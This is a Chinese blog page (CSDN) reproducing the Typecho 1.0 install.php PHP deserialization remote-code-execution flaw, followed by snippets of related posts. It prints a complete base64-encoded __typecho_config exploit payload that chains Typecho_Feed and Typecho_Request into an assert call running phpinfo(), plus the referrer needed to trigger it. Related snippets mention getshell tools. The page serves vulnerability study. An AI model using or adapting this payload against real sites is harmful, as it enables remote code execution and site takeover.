Typecho 漏洞复现

最新推荐文章于 2024-09-20 16:11:45 发布
最新推荐文章于 2024-09-20 16:11:45 发布
阅读量2.1k 收藏 2
点赞数
分类专栏： 漏洞分析
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Galaxy_fan/article/details/81164889
版权
本文详细介绍了Typecho的一个漏洞复现过程，包括0x01部分的漏洞展示，通过payload触发问题。接着在0x02部分深入分析了install.php中的漏洞，揭示了利用PHP弱类型特性和类的反序列化进行攻击的条件和方法，特别是在Db.php、Feed.php和Request.php中的关键代码。文章和视频提供了更深入的学习资源。
摘要由CSDN通过智能技术生成

0x01漏洞复现

找到有漏洞的版本下载，安装成功后显示如下

这里写图片描述

payload：

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

referrer：

http://安装路径/install
最低0.47元/天 解锁文章
Galaxy_fan
关注
专栏目录
反序列化漏洞复现（typecho）
m0_56578216的博客
09-05 1040
将下面这段代码复制到一个php文件，命名为typecho_1.0-14.10.10_unserialize_phpinfo.php，代码中定义的类名与typecho中的类相同，是它能识别的类： 将文件放到虚拟机C:\phpstudy_2016\WWW\unserialize的目录下，打开后可以获得它的base64编码：在typecho主页用hackbar进行代码注入，注入成功就说明此处存在RCE漏洞：注入成功（说明此处存在RCE漏洞，也可以尝试getshell），回显出phpinfo界面：同上，将这段利用代
Typecho-CMS反序列化任意代码执行漏洞分析和复现
weixin_43058307的博客
08-10 632
Typecho-CMS反序列化 代码审计 漏洞的入口出现在install.php //判断是否已经安装 if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; } // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) {
typecho反序列化漏洞复现
weixin_44005410的博客
05-21 1992
0x01前言 再杭州西湖线下打AWD的时候web1就是这个漏洞，在这里复现一下，刚好巩固一下前几天学习的反序列化漏洞。 0x02漏洞分析 这是一个由unserialize()导致的一个反序列化漏洞，全局搜索unserialize(),在install.php的232行发现 <?php $config = unserialize(base64_decode(Typecho_Cookie::...
新翔OA漏洞复现
最新发布
m0_62501867的博客
09-20 586
菜鸡的日常记录，各位大佬别喷。
CVE-2018-18753 Typecho 漏洞复现分析
OceanSJ的博客
02-17 569
找到unserialize()函数；验证_typecho_config参数可控；追踪对象$db发现了Magic方法并跟踪至敏感函数call_user_func()
记一次typecho反序列化漏洞的复现(第一次写poc版)
m0_62100902的博客
06-28 2167
经过一系列的代码审计，终于找到一个可以利用的点，其余的属性全都是写死了的，也就是静态this的调用方式，而这里不是静态的，它可以是别的对象里面去调用这个属性，那么我们可以想到一种魔术方法：__get(),这个魔术方法是当对象中调用不存在的属性时候会自动去调用这个魔术方法，那么我们需要去找到一个既有__get()魔术方法的又没有screenName这个属性的对象(这里终于来点感觉了)，继续在代码审计工具里面找__get()说一说我的个人理解吧。举个例子，php与java之间是如何相互传输的呢？
漏洞复现篇——Typecho反序列化漏洞
爱国小白帽
03-03 5239
实验环境： PHPstudy 火狐浏览器 Typecho 填好数据库密码和你的登录密码就可以了 安装时会报错，因为无法自动创建数据库，需要使用CREATE DATABASE typecho default charset utf8;语句手动创建数据库 ...
typecho_14.10.10反序列化漏洞复现
acdcccc的博客
09-05 146
typecho_14.10.10反序列化漏洞复现
CVE-2018-18753 Typecho 反序列化漏洞 分析复现
2301_77512689的博客
04-21 487
漏洞概述：typecho 是一款非常简洁快速博客 CMS，前台 install.php 文件存在反序列化漏洞，通过构造的反序列化字符串注入可以执行任意 PHP 代码。影响版本：typecho1.0（14.10.10）
typecho cms 利用工具
07-30
typecho cms漏洞利用工具可以直接getshell 功能强大使用方便
Typecho代码审计-反序列化漏洞复现（超详细！！！）
小小小屿屿屿的博客
12-27 2840
本文以Typecho为靶场，通过代码审计，复现了反序列化的漏洞
PHP序列化-Typecho框架漏洞-任意代码执行
告白的博客
08-10 569
0x00 漏洞框架介绍 typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 0x01 漏洞复现 环境搭建 创建数据库–create database typecho; 漏洞点 Typecho框架漏洞-任意代码执行----- POC： YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob
typecho和emlog/typecho漏洞-新手网络安全入门教程
程序员六七的博客
06-25 310
BugKu-PAR-渗透测试2注：这是在做完靶场几天后做的wp，环境都已经没有了，只能纯靠文字讲述，但基本思路都写出来了
Typecho重大漏洞
qq_43676541的博客
04-15 401
#简介 Typecho是一个基于PHP的博客软件。Typecho是在GNU通用公共许可证2.0下发布的。 Typecho在1.1版本中存在反序列化漏洞，当系统未安装的情况下，攻击者可以利用ins
typecho_1.0_14.10.10_unserialize
weixin_43886198的博客
12-21 808
typecho_1.0_14.10.10_unserialize 漏洞描述 typecho 是博客CMS，前台install.php 文件存在反序列化漏洞，通过构造的反序列化字符串注入可以执行任意PHP 代码。 漏洞危害等级 高危 影响版本 typecho1.0(14.10.10) 漏洞复现 基础环境 组件 版本 OS Win10 Webserver MAMP PRO _PHP5.6.37 typecho 1.0(14.10.10) 网站安装 需要进入数据库创建一个typ
TypechoCMS反序列化漏洞（CVE-2018-18753）
m0_57379855的博客
03-12 1394
TypechoCMS反序列化漏洞(CVE-2018-18753Typecho反序列化漏洞php-pocpython-poc Typecho反序列化漏洞 PHP版本：5.4.5nts(PHPStudy) 在数据库新建一个数据库typecho 只要传一个不存在的成员变量，就会触发_get()魔法函数 使用_get()调用applyFilter() call_user_func() 可以执行任意命令，包括写入文件 php-poc python-poc 重点函数 ...
expsky.php,Typecho漏洞利用工具首发，半分钟完成渗透
weixin_39614521的博客
03-12 566
原标题：Typecho漏洞利用工具首发，半分钟完成渗透*本文原创作者：expsky，本文属FreeBuf原创奖励计划，未经许可禁止转载声明：本工具由expsky原创，仅用于技术研究，不恰当使用会对网站造成危害，严禁违法使用，否则后果自负。Typecho是一个使用较为广泛的轻量博客系统，前几天爆出了一个反序列化远程代码执行漏洞，关于该漏洞的分析见《Typecho反序列化漏洞导致前台getshell》...
Typecho投稿插件使用指南与介绍
- 定期更新插件和Typecho系统，以修补已知的安全漏洞。 4. 投稿插件的用户界面和体验： - 插件应提供简洁易用的用户界面，让用户能够方便地完成文章的提交。 - 投稿成功后，系统应提供确认信息，告知用户投稿已...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值